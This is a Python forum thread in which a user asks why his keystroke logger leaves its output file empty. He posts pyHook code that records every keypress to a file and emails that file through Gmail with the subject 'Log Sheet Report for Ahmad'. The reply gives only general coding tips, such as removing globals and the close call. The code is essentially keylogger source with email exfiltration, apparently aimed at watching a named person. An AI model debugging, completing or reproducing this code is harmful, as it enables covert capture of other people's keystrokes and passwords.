trying to get the keystrokes values to file

[rwahdan]

I am trying to get the keystrokes values and put inside the file but nothing is written there and no errors.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

filePath='D:\\test2.txt'   def OnKeyboardEvent(e):      global keylog    keylog= chr(e.Ascii)    with open(filePath,'a') as f:        f.write(keylog)        f.close()    return True      h_m=pyHook.HookManager()    h_m.KeyDown = OnKeyboardEvent    h_m.HookKeyboard()    pythoncom.PumpMessages()

Thanks

[Larz60+]

1. It should be your goal to eliminate all globals, what is the scope of keylog?
If it's needed outside use a return statement, if it comes from outside, pass as an argument.
if OnKeyboardEvent is attached to a button, you can use a lambda statement to pass the keylog as an argument
example:

1	def OnKeyboardEvent(keylog, e)

2. remove the f.close statement. It's not needed and may cause an error

3. You don't show enough code to determine what the issue is, where is keylog populated
One thing you can do is print the contents of keylog to see if anything's in it

[rwahdan]

1. It should be your goal to eliminate all globals, what is the scope of keylog?
If it's needed outside use a return statement, if it comes from outside, pass as an argument.
if OnKeyboardEvent is attached to a button, you can use a lambda statement to pass the keylog as an argument
example:

1	def OnKeyboardEvent(keylog, e)

2. remove the f.close statement. It's not needed and may cause an error

3. You don't show enough code to determine what the issue is, where is keylog populated
One thing you can do is print the contents of keylog to see if anything's in it

below is the complete code, that is the only thing i have, the rest to send the file to email, the email goes and the attachment is there but empty.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82

import mimetypes, win32gui, time import pyHook, pythoncom, sys, logging from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase from email.MIMEText import MIMEText from email.mime.image import MIMEImage from email.Utils import COMMASPACE, formatdate from email import Encoders   filePath='D:\\test2.txt'   def OnKeyboardEvent(keylog, e):     #global keylog   keylog= chr(e.Ascii)   print keylog   with open(filePath,'a') as f:       f.write(keylog)   return True     h_m=pyHook.HookManager()   h_m.KeyDown = OnKeyboardEvent   h_m.HookKeyboard()   pythoncom.PumpMessages()   time.sleep(10)  #10 seconds.   From = 'rwahdan@gmail.com' To = 'rwahdan@gmail.com' msg = MIMEMultipart() msg['From'] = From msg['To'] = To msg['Date'] = formatdate(localtime=True) msg['Subject'] = 'Log Sheet Report for Ahmad' msg.attach(MIMEText('File Attached'))   try:   smtp = smtplib.SMTP('smtp.gmail.com:587')   smtp.starttls()   smtp.login('????', '??????') except:   i = 1 else:   i = 0 if i == 0:    ctype, encoding = mimetypes.guess_type(filePath)    if ctype is None or encoding is not None:        # No guess could be made, or the file is encoded (compressed), so        # use a generic bag-of-bits type.        ctype = 'application/octet-stream'    maintype, subtype = ctype.split('/', 1)    if maintype == 'text':        fp = open(filePath)        # Note: we should handle calculating the charset        part = MIMEText(fp.read(), _subtype=subtype)        fp.close()    elif maintype == 'image':        fp = open(filePath, 'rb')        part = MIMEImage(fp.read(), _subtype=subtype)        fp.close()    elif maintype == 'audio':        fp = open(filePath, 'rb')        part = MIMEAudio(fp.read(), _subtype=subtype)        fp.close()    else:        fp = open(filePath, 'rb')        part = MIMEBase(maintype, subtype)        part.set_payload(fp.read())        fp.close()        # Encode the payload using Base64        Encoders.encode_base64(part)    part.add_header('Content-Disposition', 'attachment; filename="%s"' % filePath)    msg.attach(part)    try:        smtp.sendmail(From, To, msg.as_string())    except:        print "Mail not sent"    else:        print "Mail sent"    smtp.close() else:    print "Connection failed"

Thanks